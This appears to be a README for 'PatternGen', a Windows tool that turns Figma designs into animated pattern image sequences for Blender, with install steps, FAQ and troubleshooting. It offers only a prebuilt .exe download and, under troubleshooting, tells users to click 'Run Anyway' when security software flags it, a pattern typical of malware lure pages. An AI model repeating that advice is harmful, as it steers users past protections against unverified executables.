ugyens7615

🎨 patterngen-oss - Create animated patterns for motion graphics

📋 What is PatternGen

PatternGen helps you make animated designs for videos. You create a layout in Figma and then use this tool to add moving patterns behind your text. The software turns these designs into flat images that you load into 3D software like Blender. This process creates high-quality motion graphics for title sequences.

🛠 Features

• Figma Integration: You export your artboards directly from your design software. The tool reads your color choices and text positions automatically.
• Procedural Animation: You choose patterns that grow and move across your screen. You do not need to draw each frame by hand.
• Layered Output: The system creates image files with transparent backgrounds. This makes it easy to stack images in your video editor.
• Blender Ready: The exported files work with 3D planes to create a depth effect in your scene.

🎥 Learn the Workflow

Watch the walkthrough video here

This video explains how to connect your design work to the animation tool. It shows the steps to prepare a file in Figma, pick your animation settings in the browser, and import the final result into your 3D design software.

📥 How to Install

Follow these steps to set up the software on your Windows computer.

1. Go to the releases page.
2. Look for the latest version at the top of the list.
3. Click the file ending in .exe to start your download.
4. Save the file to your desktop or your downloads folder.
5. Double-click the file to open the application.
6. Press Yes if Windows asks for permission to run the tool.

🚀 Setting Up Your Project

After you open the app, you need to prepare your design.

1. Open Figma: Create your title design. Make sure your layers have names that match the scene requirements.
2. Export Data: Use the export plugin to save your scene as a JSON file. This file contains the location of your text and the colors you chose.
3. Load in App: Open the PatternGen app and select the Open File option. Pick the JSON file you just saved.
4. Select Pattern: Pick an animation style from the list on the left.
5. Adjust Parameters: Change the speed, size, and color of the pattern. Watch the preview window to see changes in real time.
6. Generate Sequence: Click the Export button to save your files as a sequence of PNG images.

🖥 System Requirements

• Operating System: Windows 10 or Windows 11.
• Memory: At least 8GB of RAM.
• Storage: 500MB of free space for the installation.
• Graphics: A card that supports hardware acceleration for smooth preview playback.
• Software: Figma for design, and Blender for final compositing.

💡 Common Questions

Do I need an internet connection to use the software? You need the internet to download the tool. Once you install it, most features work without a connection.

How do I update the software? Check the releases page once a month for new versions. Download the latest file, remove the old one, and run the new installer.

Does this work on Mac computers? This version works on Windows. You can track future updates for other platforms on this page.

Why are my images blurry? Check your resolution settings in the export menu. Match the export size to your final video project size.

⚙️ Troubleshooting

If the program fails to open, ensure your Windows system is up to date. Sometimes security software might flag new programs. Click More Info and then Run Anyway if you trust the source. If the preview window stays black, update your computer graphics drivers. Close other programs that require intensive graphics power while you render your image sequences.

📄 License

This software is available under the MIT License. You can use it for your personal or commercial design work. Feel free to modify the code or share it with your team.